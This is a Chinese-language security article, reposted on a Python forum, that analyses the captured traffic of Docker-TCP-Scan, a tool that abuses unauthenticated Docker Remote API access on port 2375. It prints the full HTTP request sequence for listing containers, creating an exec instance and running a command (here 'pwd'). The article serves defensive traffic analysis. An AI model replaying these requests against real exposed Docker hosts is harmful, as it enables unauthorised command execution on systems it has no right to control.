社区所有版块导航
Python
python开源   Django   Python   DjangoApp   pycharm  
DATA
docker   Elasticsearch  
aigc
aigc   chatgpt  
WEB开发
linux   MongoDB   Redis   DATABASE   NGINX   其他Web框架   web工具   zookeeper   tornado   NoSql   Bootstrap   js   peewee   Git   bottle   IE   MQ   Jquery  
机器学习
机器学习算法  
Python88.com
反馈   公告   社区推广  
产品
短视频  
印度
印度  
Py学习  »  docker

Docker-TCP-Scan 云安全武器流量分析

渊龙Sec安全团队 • 4 月前 • 379 次点击  

Docker-TCP-Scan 云安全武器流量分析

随着企业上云逐渐形成了趋势和规模,云安全也成为了新的焦点和『风口』,云上安全越来越重要;在近几年的攻防中『AKSK』、『小程序』、『云上供应链』都已经成为了兵家必争之地和重要突破口


了解过 Docker Remote API 的师傅应该都知道2375端口,2375是Docker远程操控的默认端口,通过这个端口可以直接对远程的docker daemon进行操作;


当主机以 DOCKER_OPTS="-H tcp://0.0.0.0:2375" 这样的配置方式启动Docker时,可以在外部机器对 Docker Remote API 进行直接操作:docker -H tcp://$HOST:2375 ps


但Docker本身没有身份认证的功能,只要能访问到API服务端口,就可以操作Docker!


这就造成了非常严重的漏洞!能够直接通过 Docker Remote API 对相关运行的容器下发恶意命令!网络上对于 Docker Remote API 利用和详细分析的文章几乎没有,本文就曾哥开源的针对 Docker TCP socket 的利用工具 Docker-TCP-Scan 进行详细的攻击流量分析。通过使用 yakit 抓包工具,我们能够获取并解读全程攻击流量,揭示攻击的具体步骤。



同时感谢国际云安全联盟(CSA)渗透测试工作组对本开源工具提出的建议

GitHub地址

AabyssZG/Docker-TCP-Scan: 旨在以攻促防,针对Docker TCP socket的开源利用工具 

https://github.com/AabyssZG/Docker-TCP-Scan

使用yakit抓包分析流量获取全攻击流程

攻击流程分析

步骤一:获取 Docker 信息

攻击者通过发送 GET 请求来获取 Docker 容器的详细信息。这一操作利用了 Docker Daemon 的 TCP 端口 (2375),该端口默认情况下不要求认证,极易被攻击者利用进行信息泄露。

请求内容

GET /containers/json HTTP/1.1
Host: XXXXXXX:2375
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36, Mozilla/5.0 (X11; NetBSD) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept: */*

响应内容

HTTP/1.1 200 OK
Api-Version: 1.12
Docker-Experimental: false
Ostype: linux
Server: Docker/1.12 (linux)
Date: Mon, 19 Aug 2024 08:21:25 GMT
Connection: close
Content-Type: application/json
Content-Length: 1170

[
{
"Id": "8dfafdbc3a40",
"Image": "ubuntu:latest",
"ImageID": "d74508fb6632491cea586a1fd7d748dfc5274cd6fdfedee309ecdcbc2bf5cb82",
"Command": "/bin/hello",
"Created": 1720106340,
"Ports": [{ "PrivatePort": 2222, "PublicPort": 3333, "Type": "tcp" }],
"SizeRw": 12288,
"Labels": {
"com.example.vendor": "Acme",
"com.example.license": "GPL",
"com.example.version": "1.0"
},
"State": "exited",
"Status": "Exit 0",
"NetworkSettings": {
"Networks": {
"bridge": {
"NetworkID": "7ea29fc1412292a2d7bba362f9253545fecdfa8ce9a6e37dd10ba8bee7129812",
"EndpointID": "2cdc4edb1ded3631c81f57966563e5c8525b81121bb3706a9a9a3ae102711f3f",
"Gateway": "172.17.0.1",
"IPAddress": "172.17.0.2",
"IPPrefixLen": 16,
"IPv6Gateway": "",
"GlobalIPv6Address": "",
"MacAddress": "02:42:ac:11:00:02"
}
}
},
"Mounts": [
{
"Name": "fac362...80535",
"Source": "/data",
"Destination": "/data",
"Driver": "local",
"Mode": "ro,Z",
"Propagation": ""
}
]
}
]

解析:
通过这一步骤,攻击者可以获取 Docker 容器的详细信息,包括容器 ID、镜像名称、网络配置等。这些信息将为下一步的恶意操作提供目标。

步骤二:创建执行ID

攻击者接下来会发送 POST 请求,通过 Docker API 创建一个新的执行环境(Exec Instance),并在 Cmd 参数中注入恶意命令(payload)。

请求内容

POST /containers/8dfafdbc3a40/exec HTTP/1.1
Host: XXXXXXX:2375
Content-Type: application/json
User-Agent: python-requests/2.28.2
Accept-Encoding: gzip, deflate, br
Accept: */*
Content-Length: 63

{ "Cmd": ["pwd"], "AttachStdout": true, "AttachStderr": true }

响应内容

HTTP/1.1 201 Created
Api-Version: 1.12
Docker-Experimental: false
Ostype: linux
Server: Docker/1.12 (linux)
Date: Mon, 19 Aug 2024 08:21:38 GMT
Connection: close
Content-Type: application/json
Content-Length: 25

{ "Id": "b90e34656806" }

解析:
这一阶段,攻击者利用 Docker 提供的 API 功能,创建了一个可以执行特定命令的环境,并获取到了执行 ID。这个 ID 将在后续步骤中用于实际的命令执行。

步骤三:执行命令

最后,攻击者利用之前获取的执行 ID,发送 POST 请求执行注入的命令。

请求内容

POST /exec/b90e34656806/start HTTP/1.1
Host: XXXXXXX:2375
Accept: */*
Content-Type: application/json
User-Agent: python-requests/2.28.2
Accept-Encoding: gzip, deflate, br
Content-Length: 34

{ "Detach": false, "Tty": false }

响应内容

HTTP/1.1 200 OK
Api-Version: 1.12
Docker-Experimental: false
Ostype: linux
Server: Docker/1.12 (linux)
Date: Mon, 19 Aug 2024 08:21:40 GMT
Connection: close
Content-Type: application/octet-stream
Content-Length: 19

/home/root

解析:
通过执行命令,攻击者成功获取了 Docker 容器内部的文件系统信息,验证了其对目标容器的控制权。

攻击流程概述

  1. 信息收集: 通过 GET /containers/json 请求,攻击者首先获取 Docker 容器的详细信息,为后续攻击做好准备。
  2. 创建执行环境: 使用 POST /containers/{container_id}/exec 请求,攻击者创建了一个可以执行命令的环境,并获取了执行 ID。
  3. 执行命令: 通过 POST /exec/{exec_id}/start 请求,攻击者在目标容器内执行了恶意命令,进一步掌控了容器。

此类攻击利用了 Docker Daemon 开放的 TCP 端口,该端口默认情况下不要求认证,极容易被攻击者利用。

Python社区是高质量的Python/Django开发社区
本文地址:http://www.python88.com/topic/173479
 
379 次点击